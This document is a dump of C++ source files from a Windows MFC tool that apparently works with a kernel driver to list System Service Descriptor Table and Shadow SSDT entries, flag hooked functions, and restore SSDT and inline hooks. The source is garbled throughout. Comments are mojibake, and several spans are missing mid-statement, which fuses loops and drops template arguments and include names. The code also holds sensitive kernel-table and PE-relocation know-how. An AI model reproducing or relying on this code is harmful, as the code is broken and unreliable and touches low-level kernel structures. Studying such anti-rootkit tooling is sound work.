"SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManagerDlg.cpp", "content": "\r\n// EnumSSSDTManagerDlg.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"EnumSSSDTManager.h\"\r\n#include \"EnumSSSDTManagerDlg.h\"\r\n#include \"afxdialogex.h\"\r\n\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// Ӧó򡰹ڡ˵ CAboutDlg Ի\r\n\r\nclass CAboutDlg : public CDialogEx\r\n{\r\npublic:\r\n\tCAboutDlg();\r\n\r\n// Ի\r\n\tenum { IDD = IDD_ABOUTBOX };\r\n\r\n\tprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\r\n// ʵ\r\nprotected:\r\n\tDECLARE_MESSAGE_MAP()\r\n};\r\n\r\nCAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)\r\n{\r\n}\r\n\r\nvoid CAboutDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n}\r\n\r\nBEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CEnumSSSDTManagerDlg Ի\r\n\r\n\r\n\r\n\r\nCEnumSSSDTManagerDlg::CEnumSSSDTManagerDlg(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CEnumSSSDTManagerDlg::IDD, pParent)\r\n{\r\n\tm_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);\r\n\r\n\tfor (int i=0;i<5;i++)\r\n\t{\r\n\t\tm_Dlg[i] = NULL;\r\n\t}\r\n}\r\n\r\nvoid CEnumSSSDTManagerDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_TAB_SSSDT, m_Tab);\r\n}\r\n\r\nBEGIN_MESSAGE_MAP(CEnumSSSDTManagerDlg, CDialogEx)\r\n\tON_WM_SYSCOMMAND()\r\n\tON_WM_PAINT()\r\n\tON_WM_QUERYDRAGICON()\r\n\tON_NOTIFY(TCN_SELCHANGE, IDC_TAB_SSSDT, &CEnumSSSDTManagerDlg::OnSelchangeTabSssdt)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CEnumSSSDTManagerDlg Ϣ\r\n\r\nBOOL CEnumSSSDTManagerDlg::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// ...˵ӵϵͳ˵С\r\n\r\n\t// IDM_ABOUTBOX ϵͳΧڡ\r\n\tASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);\r\n\tASSERT(IDM_ABOUTBOX < 0xF000);\r\n\r\n\tCMenu* pSysMenu = GetSystemMenu(FALSE);\r\n\tif (pSysMenu != NULL)\r\n\t{\r\n\t\tBOOL bNameValid;\r\n\t\tCString strAboutMenu;\r\n\t\tbNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);\r\n\t\tASSERT(bNameValid);\r\n\t\tif (!strAboutMenu.IsEmpty())\r\n\t\t{\r\n\t\t\tpSysMenu->AppendMenu(MF_SEPARATOR);\r\n\t\t\tpSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);\r\n\t\t}\r\n\t}\r\n\r\n\t// ô˶ԻͼꡣӦóڲǶԻʱܽԶ\r\n\t// ִд˲\r\n\tSetIcon(m_hIcon, TRUE);\t\t\t// ôͼ\r\n\tSetIcon(m_hIcon, FALSE);\t\t// Сͼ\r\n\r\n\t// TODO: ڴӶijʼ\r\n\tInitTab();\r\n\r\n\r\n\r\n\treturn TRUE; // ǽõؼ򷵻 TRUE\r\n}\r\n\r\n\r\nVOID CEnumSSSDTManagerDlg::InitTab()\r\n{\r\n\tm_Tab.InsertItem(0,_T(\"SSSDT\"));\r\n\tm_Tab.InsertItem(1,_T(\"SSDT\"));\r\n\r\n\r\n//\tSSSDTDlg.Create(IDD_DIALOG_SSSDT,&m_Tab);\r\n//\tSSDTDlg.Create(IDD_DIALOG_SSDT,&m_Tab);\r\n\r\n\tSSSDTDlg.Create(IDD_DIALOG_SSSDT,GetDlgItem(IDC_TAB_SSSDT));\r\n\tSSDTDlg.Create(IDD_DIALOG_SSDT,GetDlgItem(IDC_TAB_SSSDT));\r\n\r\n\tm_Dlg[0] = &SSSDTDlg;\r\n\tm_Dlg[1] = &SSDTDlg;\r\n\r\n\r\n\r\n\tCRect rc;\r\n\tm_Tab.GetClientRect(rc);\r\n\trc.top +=20;\r\n\trc.bottom -= 4;\r\n\trc.left += 4;\r\n\trc.right -= 4;\r\n\tSSSDTDlg.MoveWindow(rc);\r\n\tSSDTDlg.MoveWindow(rc);\r\n\r\n\tm_Tab.SetCurSel(0);\r\n\tSSSDTDlg.ShowWindow(TRUE);\r\n}\r\n\r\n\r\nvoid CEnumSSSDTManagerDlg::OnSysCommand(UINT nID, LPARAM lParam)\r\n{\r\n\tif ((nID & 0xFFF0) == IDM_ABOUTBOX)\r\n\t{\r\n\t\tCAboutDlg dlgAbout;\r\n\t\tdlgAbout.DoModal();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCDialogEx::OnSysCommand(nID, lParam);\r\n\t}\r\n}\r\n\r\n// ԻСťҪĴ\r\n// Ƹͼꡣʹĵ/ͼģ͵ MFC Ӧó\r\n// ⽫ɿԶɡ\r\n\r\nvoid CEnumSSSDTManagerDlg::OnPaint()\r\n{\r\n\tif (IsIconic())\r\n\t{\r\n\t\tCPaintDC dc(this); // ڻƵ豸\r\n\r\n\t\tSendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0);\r\n\r\n\t\t// ʹͼڹо\r\n\t\tint cxIcon = GetSystemMetrics(SM_CXICON);\r\n\t\tint cyIcon = GetSystemMetrics(SM_CYICON);\r\n\t\tCRect rect;\r\n\t\tGetClientRect(&rect);\r\n\t\tint x = (rect.Width() - cxIcon + 1) / 2;\r\n\t\tint y = (rect.Height() - cyIcon + 1) / 2;\r\n\r\n\t\t// ͼ\r\n\t\tdc.DrawIcon(x, y, m_hIcon);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCDialogEx::OnPaint();\r\n\t}\r\n}\r\n\r\n//û϶Сʱϵͳô˺ȡù\r\n//ʾ\r\nHCURSOR CEnumSSSDTManagerDlg::OnQueryDragIcon()\r\n{\r\n\treturn static_cast(m_hIcon);\r\n}\r\n\r\n\r\n\r\n\r\n\r\nvoid CEnumSSSDTManagerDlg::OnSelchangeTabSssdt(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\r\n\tfor(int i=0;i<2;i++)\r\n\t{\r\n\t\tif (m_Dlg[i]!=NULL)\r\n\t\t{\r\n\t\t\tm_Dlg[i]->ShowWindow(SW_HIDE);\r\n\t\t}\r\n\r\n\t}\r\n\tm_CurSelTab = m_Tab.GetCurSel();\r\n\r\n\r\n\tif (m_Dlg[m_CurSelTab]!=NULL)\r\n\t{\r\n\t\tm_Dlg[m_CurSelTab]->ShowWindow(SW_SHOW);\r\n\t}\r\n\t*pResult = 0;\r\n}\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManagerDlg.h", "content": "\r\n// EnumSSSDTManagerDlg.h : ͷļ\r\n//\r\n\r\n#pragma once\r\n#include \"SSDT.h\"\r\n#include \"SSSDT.h\"\r\n\r\n// CEnumSSSDTManagerDlg Ի\r\nclass CEnumSSSDTManagerDlg : public CDialogEx\r\n{\r\n// \r\npublic:\r\n\tCEnumSSSDTManagerDlg(CWnd* pParent = NULL);\t// ׼캯\r\n\r\n\tCSSSDT SSSDTDlg;\r\n\tCSSDT SSDTDlg;\r\n\tULONG m_CurSelTab;\r\n\tCDialog* m_Dlg[5];\r\n\tVOID CEnumSSSDTManagerDlg::InitTab();\r\n\r\n// Ի\r\n\tenum { IDD = IDD_ENUMSSSDTMANAGER_DIALOG };\r\n\r\n\tprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX);\t// DDX/DDV ֧\r\n\r\n\r\n// ʵ\r\nprotected:\r\n\tHICON m_hIcon;\r\n\r\n\t// ɵϢӳ亯\r\n\tvirtual BOOL OnInitDialog();\r\n\tafx_msg void OnSysCommand(UINT nID, LPARAM lParam);\r\n\tafx_msg void OnPaint();\r\n\tafx_msg HCURSOR OnQueryDragIcon();\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tCTabCtrl m_Tab;\r\n\tafx_msg void OnSelchangeTabSssdt(NMHDR *pNMHDR, LRESULT *pResult);\r\n};\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/OpenDevice.cpp", "content": "#include \"StdAfx.h\"\r\n#include \"OpenDevice.h\"\r\n\r\n\r\nCOpenDevice::COpenDevice(void)\r\n{\r\n\tg_hDevice = NULL;\r\n}\r\n\r\n\r\nCOpenDevice::~COpenDevice(void)\r\n{\r\n}\r\n\r\n\r\n\r\nBOOL COpenDevice::SendIoControlCode(ULONG ulIndex,PVOID* FuntionAddress,ULONG_PTR ulControlCode)\r\n{\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\tif (ulControlCode==INITIALIZE)//ϢRing0Ring0SSSDTַ\r\n\t{\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SSSDTSERVERICE,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t\tif (bRet==FALSE)\r\n\t\t{\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\r\n\r\n\t}\r\n\r\n\tif (ulControlCode==GET_SSSDT_CURRENT_FUNC_ADDR)\r\n\t{\r\n\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SSSDT_FUNCTIONADDRESS,\r\n\t\t\t&ulIndex,\r\n\t\t\tsizeof(ULONG),\r\n\t\t\tFuntionAddress,\r\n\t\t\tsizeof(PVOID),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t\tif (bRet==FALSE)\r\n\t\t{\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\t}\r\n\r\n\tif (ulControlCode==SSDTINITIALIZE)\r\n\t{\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SSDTSERVERICE,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t\tif (bRet==FALSE)\r\n\t\t{\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\r\n\r\n\t}\r\n\r\n\tif (ulControlCode==GET_SSDT_CURRENT_FUNC_ADDR)\r\n\t{\r\n\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SDT_FUNCTIONADDRESS,\r\n\t\t\t&ulIndex,\r\n\t\t\tsizeof(ULONG),\r\n\t\t\tFuntionAddress,\r\n\t\t\tsizeof(PVOID),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t\tif (bRet==FALSE)\r\n\t\t{\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\t}\r\n\treturn TRUE;\r\n}\r\n\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/OpenDevice.h", "content": "#pragma once\r\n#include \r\n#define INITIALIZE 70\r\n\r\n#define SSDTINITIALIZE 30\r\n#define GET_SSSDT_CURRENT_FUNC_ADDR 10\r\n#define GET_SSDT_CURRENT_FUNC_ADDR 40\r\n#define MODULE_LENGTH 30\r\n#define GET_MODULE_NAME 110\r\n#define GET_SSDT_MODULE_NAME 130\r\n\r\n#define CODE_LENGTH 23\r\n#define IOCTL_GET_SSSDTSERVERICE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSSDT_FUNCTIONADDRESS\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n\r\n#define IOCTL_GET_SSDTSERVERICE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SDT_FUNCTIONADDRESS\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n#define CTL_GET_SYS_MODULE_INFOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n#define CTL_GET_SSDT_SYS_MODULE_INFOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x832,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n#define IOCTL_GET_MODULENAME \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x840,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n\r\n\r\nclass COpenDevice\r\n{\r\npublic:\r\n\tCOpenDevice(void);\r\n\t~COpenDevice(void);\r\n\tHANDLE g_hDevice;\r\n\tHANDLE OpenDevice(LPCTSTR wzLinkPath)\r\n\t{\r\n\t\tHANDLE hDevice = CreateFile(wzLinkPath,\r\n\t\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\t\tNULL,\r\n\t\t\tOPEN_EXISTING,\r\n\t\t\tFILE_ATTRIBUTE_NORMAL,\r\n\t\t\tNULL);\r\n\r\n\t\tif (hDevice == INVALID_HANDLE_VALUE)\r\n\t\t{\r\n\r\n\t\t}\r\n\r\n\t\treturn hDevice;\r\n\r\n\t}\r\n\tBOOL SendIoControlCode(ULONG ulIndex,PVOID* FuntionAddress,ULONG_PTR ulControlCode);\r\n};\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/SSDT.cpp", "content": "// SSDT.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"EnumSSSDTManager.h\"\r\n#include \"SSDT.h\"\r\n#include \"SSDTFunc.h\"\r\n#include \"afxdialogex.h\"\r\nHANDLE g_hDevice = NULL;\r\n\r\n// CSSDT Ի\r\nSSDT_INFOR SSDTInfor[0x1000] = {0};\r\nIMPLEMENT_DYNAMIC(CSSDT, CDialogEx)\r\n\r\nCSSDT::CSSDT(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CSSDT::IDD, pParent)\r\n\t, m_Num1(0)\r\n{\r\n\tm_ServiceTable = 0;\r\n\tm_ServiceTableBase = 0;\r\n\tm_NtosModuleBase = 0 ;\r\n\tm_TempNtoskModuleBase = 0;\r\n\tm_bOk = FALSE;\r\n\tm_ShowHook = FALSE;\r\n\tmemset(m_CurrentFunctionCode,0,CODE_LENGTH);\r\n}\r\n\r\nCSSDT::~CSSDT()\r\n{\r\n}\r\n\r\nvoid CSSDT::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_LIST_SSDT, m_ControlListSSDTInfor);\r\n\tDDX_Text(pDX, IDC_EDIT_NUM1, m_Num1);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(CSSDT, CDialogEx)\r\n\tON_BN_CLICKED(IDC_BUTTON_ENUMFUNC, &CSSDT::OnBnClickedButtonEnumfunc)\r\n\tON_COMMAND(ID_RESUME_RESUMESSD, &CSSDT::OnResumeResumessd)\r\n\tON_COMMAND(ID_RESUME_RESUMEINLINEHOOK, &CSSDT::OnResumeResumeinlinehook)\r\n\tON_COMMAND(ID_RESUME_SHOWHOOK, &CSSDT::OnResumeShowhook)\r\n\tON_NOTIFY(NM_RCLICK, IDC_LIST_SSDT, &CSSDT::OnRclickListSsdt)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n\r\nBOOL CSSDT::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// TODO: ڴӶijʼ\r\n\tm_ControlListSSDTInfor.SetExtendedStyle(LVS_EX_FULLROWSELECT);\r\n\tm_ControlListSSDTInfor.InsertColumn(0, L\"\", LVCFMT_LEFT, 100);\r\n\tm_ControlListSSDTInfor.InsertColumn(1, L\"\", LVCFMT_LEFT, 200);\r\n\tm_ControlListSSDTInfor.InsertColumn(2, L\"ǰַ\", LVCFMT_LEFT, 100);\r\n\tm_ControlListSSDTInfor.InsertColumn(3, L\"״̬\",LVCFMT_LEFT,80);\r\n\tm_ControlListSSDTInfor.InsertColumn(4, L\"ԭʼַ\", LVCFMT_LEFT, 100);\r\n\tm_ControlListSSDTInfor.InsertColumn(5, L\"ǰַģ\",LVCFMT_LEFT,300);\r\n\t\r\n\r\n\treturn TRUE; // return TRUE unless you set the focus to a control\r\n\t// 쳣: OCX ҳӦ FALSE\r\n}\r\n\r\n\r\n// CSSDT Ϣ\r\n\r\nvoid CSSDT::OnBnClickedButtonEnumfunc()\r\n{\r\n\tm_ControlListSSDTInfor.DeleteAllItems();\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\tOpenDeviceSSDT.g_hDevice = OpenDeviceSSDT.OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\tif (OpenDeviceSSDT.g_hDevice==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn;\r\n\t}\r\n\r\n\tif(OpenDeviceSSDT.SendIoControlCode(0,NULL,SSDTINITIALIZE)==FALSE) //\r\n\t{\r\n\t\tCloseHandle(OpenDeviceSSDT.g_hDevice);\r\n\t\treturn;\r\n\t}\r\n\r\n\tEnumSSDTInfor(SSDTInfor);\r\n\r\n\r\n\r\n\r\n\tCloseHandle(OpenDeviceSSDT.g_hDevice);\r\n}\r\nBOOL CSSDT::EnumSSDTInfor(PSSDT_INFOR SSDTInfor)\r\n{\r\n\tm_ControlListSSDTInfor.DeleteAllItems();\r\n\tULONG_PTR SSDTFunctionCount = 0;\r\n\tULONG_PTR HookedFunctionCount = 0;\r\n\r\n\r\n\tPVOID SSDTOriAddr = 0;\r\n\tPVOID CurrentFunctionAddress = 0;\r\n\tPVOID OriginalFunctionAddress = 0;\r\n\tint i = 0;\r\n\tWCHAR wzModuleName[60]= {0};\r\n#ifdef _WIN64\r\n\r\n\r\n\r\n\tfor (i=0;ie_magic != IMAGE_DOS_SIGNATURE)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\tNtHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)NewModuleBase + DosHeader->e_lfanew );\r\n\tif (NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)//Ƿضλ\r\n\t{\r\n\t\tRelocTable=(PIMAGE_BASE_RELOCATION)((ULONG_PTR)NewModuleBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);\r\n\t\tdo\r\n\t\t{\r\n\t\t\t//RelocTable->SizeOfBlock һĴС\r\n\t\t\tULONG\tulNumOfReloc = (RelocTable->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2; //ضĸ Short\r\n\t\t\tSHORT\tMiniOffset = 0;\r\n\t\t\tPUSHORT RelocData = (PUSHORT)((ULONG_PTR)RelocTable+sizeof(IMAGE_BASE_RELOCATION)); //ض\r\n\t\t\tfor (i=0; i>12)==IMAGE_REL_BASED_DIR64||((*RelocData)>>12)==IMAGE_REL_BASED_HIGHLOW)//жضλǷΪIMAGE_REL_BASED_HIGHLOW[32]IMAGE_REL_BASED_DIR64[64]\r\n\t\t\t\t{\r\n\r\n\t\t\t\t\tMiniOffset=(*RelocData)&0xFFF;//Сƫ //ȡ12\r\n\r\n\t\t\t\t\tRelocAddress=(PULONG_PTR)(NewModuleBase+RelocTable->VirtualAddress+MiniOffset);\r\n\r\n\t\t\t\t\tVirtualProtect((PVOID)RelocAddress,sizeof(ULONG_PTR),PAGE_EXECUTE_READWRITE, &dwOldProtect);\r\n\r\n\t\t\t\t\t*RelocAddress=*RelocAddress+OriginalModuleBase-NtHeader->OptionalHeader.ImageBase;\r\n\r\n\t\t\t\t\tVirtualProtect((PVOID)RelocAddress, sizeof(ULONG_PTR),dwOldProtect,&dwOldProtect);\r\n\t\t\t\t}\r\n\t\t\t\t//һضλ\r\n\t\t\t\tRelocData++;\r\n\t\t\t}\r\n\t\t\t//һضλ\r\n\t\t\tRelocTable=(PIMAGE_BASE_RELOCATION)((ULONG_PTR)RelocTable+RelocTable->SizeOfBlock);\r\n\t\t}\r\n\t\twhile (RelocTable->VirtualAddress);\r\n\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}\r\n\r\n\r\nBOOL CSSDT::SendIoControlCode(ULONG ulIndex,PVOID* FuntionAddress,ULONG_PTR ulControlCode,WCHAR* wzSysModuleName)\r\n{\r\n\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\tg_hDevice = OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\r\n\tif (g_hDevice==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn FALSE;\r\n\t}\r\n\tif (ulControlCode==GET_SSDT_CURRENT_FUNC_CODE)\r\n\t{\r\n\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SSDT_CURRENT_FUNC_CODE,\r\n\t\t\t&ulIndex,\r\n\t\t\tsizeof(ULONG),\r\n\t\t\t&m_CurrentFunctionCode,\r\n\t\t\tCODE_LENGTH,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t}\r\n\tif(ulControlCode==GET_SSDT_MODULE_NAME)\r\n\t{\r\n\t\tstruct _DATA_\r\n\t\t{\r\n\t\t\tPVOID OriginalAddress;\r\n\t\t}Data;\r\n\t\tmemset(&Data,0,sizeof(_DATA_));\r\n\t\tData.OriginalAddress = *FuntionAddress;\r\n\r\n\t\t//\tCString strOriginalAddress;\r\n\t\t//strOriginalAddress.Format(L\"0x%p\",*FuntionAddress);\r\n\t\t//MessageBox(strOriginalAddress,L\"OriginalAddress\");\r\n\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SSDT_MODULENAME,\r\n\t\t\t&Data,\r\n\t\t\tsizeof(_DATA_),\r\n\t\t\twzSysModuleName,\r\n\t\t\t60*sizeof(WCHAR),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t}\r\n\tif (ulControlCode==GET_SSDT_SERVERICE_BASE)\r\n\t{\r\n\t\tbRet = DeviceIoControl(g_hDevice,IOCTL_GET_SSDT_SERVERICE_BASE,\r\n\t\t\tNULL,\r\n\t\t\t0,\r\n\t\t\t&m_ServiceTableBase,\r\n\t\t\tsizeof(PVOID),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t}\r\n\r\n\tif (ulControlCode==GET_SSDT_SYS_MODULE_INFOR) \r\n\t{\r\n\t\tstruct _DATA_ \r\n\t\t{\r\n\t\t\tPVOID SysModuleBase;\r\n\t\t\tULONG_PTR ulSysModuleSize;\r\n\t\t}Data;\r\n\r\n\t\tmemset(&Data,0,sizeof(Data));\r\n\r\n\t\tbRet = DeviceIoControl(g_hDevice,CTL_GET_SSDT_SYS_MODULE_INFOR,\r\n\t\t\twzSysModuleName,\r\n\t\t\tMODULE_LENGTH,\r\n\t\t\t&Data,\r\n\t\t\tsizeof(Data),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t\tm_NtosModuleBase = Data.SysModuleBase;\r\n\r\n\t}\r\n\r\n\tCloseHandle(g_hDevice);\r\n\treturn bRet;\r\n}\r\nVOID CSSDT::AddItemToControlList(ULONG SSDTFunctionCount,PSSDT_INFOR SSDTInfor)\r\n{\r\n\tint i = 0;\r\n\tCString strIndex;\r\n\tBOOL bHooked = FALSE;\r\n\tfor (i=0;iFileHeader.NumberOfSections; i++)\r\n\t{\r\n\r\n\t\tif(ulRVA >= SectionHeader[i].VirtualAddress && ulRVA < \r\n\t\t\t(SectionHeader[i].VirtualAddress \r\n\t\t\t+ SectionHeader[i].SizeOfRawData))\r\n\t\t{\r\n\t\t\t//ļƫ\r\n\t\t\treturn SectionHeader[i].PointerToRawData + //ÿڴļеƫ\r\n\t\t\t\t(ulRVA - SectionHeader[i].VirtualAddress); //ƫ-ƫ\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVOID CSSDT::AddItemToControlList(SSDT_INFOR_FOR SSDTInfor)\r\n{\r\n\t\tCString strIndex;\r\n\t\tCString strCurrentAddress;\r\n\t\tCString strFunctionName(SSDTInfor.szFunctionName);\r\n\t\tstrIndex.Format(L\"%d\",SSDTInfor.FunctionIndex);\r\n\t\tstrCurrentAddress.Format(L\"0x%p\",SSDTInfor.CurrentFunctionAddress);\r\n\r\n\r\n\t\tint n = m_ControlListSSDTInfor.InsertItem(m_ControlListSSDTInfor.GetItemCount(),strIndex);\r\n\t\tm_ControlListSSDTInfor.SetItemText(n,1,strFunctionName);\r\n\t\tm_ControlListSSDTInfor.SetItemText(n,2,strCurrentAddress);\r\n\r\n\r\n}\r\n\r\n\r\n\r\n\r\n\r\nvoid CSSDT::OnResumeResumessd()\r\n{\r\n\t// TODO: ڴ\r\n\tBOOL bRet = FALSE;\r\n\r\n\r\n\tint iSelect = m_ControlListSSDTInfor.GetSelectionMark( ); //ѡ\r\n\tCString Address = m_ControlListSSDTInfor.GetItemText(iSelect,4); //ͨѡе0IP\r\n\tCString Index = m_ControlListSSDTInfor.GetItemText(iSelect,0);\r\n\tg_hDevice = OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\r\n\tif (g_hDevice==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn;\r\n\t}\r\n\tstruct _DATA_\r\n\t{\r\n\t\tULONG Index;\r\n\t\tULONG_PTR OriginalAddress;\r\n\t}Data;\r\n\r\n\tswscanf(Address.GetBuffer()+2,L\"%p\",&Data.OriginalAddress); //0x\r\n\tswscanf(Index.GetBuffer(),L\"%d\",&Data.Index); //0x\r\n\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\r\n\tbRet = DeviceIoControl(g_hDevice,IOCTL_UNHOOK_SSDT,\r\n\t\t&Data,\r\n\t\tsizeof(_DATA_),\r\n\t\tNULL,\r\n\t\tNULL,\r\n\t\t&ulReturnSize,\r\n\t\tNULL);\r\n\r\n\r\n\tif (bRet==FALSE)\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\r\n\r\n\tCloseHandle(g_hDevice);\r\n\tOnBnClickedButtonEnumfunc();\r\n}\r\n\r\n\r\nvoid CSSDT::OnResumeResumeinlinehook()\r\n{\r\n\t// TODO: ڴ\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\tg_hDevice = OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\r\n\tif (g_hDevice==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn;\r\n\t}\r\n\tint iSelect = m_ControlListSSDTInfor.GetSelectionMark(); //ѡ\r\n\r\n\tCString Index = m_ControlListSSDTInfor.GetItemText(iSelect,0);\r\n\r\n\r\n\r\n\tstruct _DATA_ \r\n\t{\r\n\t\tULONG ulIndex;\r\n\t\tUCHAR szOriginalFunctionCode[CODE_LENGTH];\r\n\t};\r\n\r\n\t_DATA_ Data = {0};\r\n\r\n\r\n\tswscanf(Index.GetBuffer(),L\"%d\",&Data.ulIndex); //0x\r\n\t// \t\tCString a;\r\n\t// \t\ta.Format(L\"%d\",iItem);\r\n\t// \t\tMessageBox(a,L\"dddddd\");\r\n\tmemcpy(Data.szOriginalFunctionCode,SSDTInfor[Data.ulIndex].szOriginalFunctionCode,CODE_LENGTH);\r\n\tbRet = DeviceIoControl(g_hDevice,IOCTL_RESUME_SSDT_INLINEHOOK,\r\n\t\t&Data,\r\n\t\tsizeof(_DATA_),\r\n\t\tNULL,\r\n\t\tNULL,\r\n\t\t&ulReturnSize,\r\n\t\tNULL);\r\n\r\n\tCloseHandle(g_hDevice);\r\n\tOnBnClickedButtonEnumfunc();\r\n\r\n}\r\n\r\n\r\nvoid CSSDT::OnResumeShowhook()\r\n{\r\n\t// TODO: ڴ\r\n\tif(m_ShowHook==FALSE)\r\n\t{\r\n\t\tm_ShowHook=TRUE;\r\n\t\tOnBnClickedButtonEnumfunc();\r\n\t\treturn;\r\n\r\n\t}\r\n\tif(m_ShowHook==TRUE)\r\n\t{\r\n\t\r\n\t\tm_ShowHook=FALSE;\r\n\t\tOnBnClickedButtonEnumfunc();\r\n\t\treturn;\r\n\t}\r\n\r\n}\r\n\r\n\r\nvoid CSSDT::OnRclickListSsdt(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tLPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR);\r\n\t// 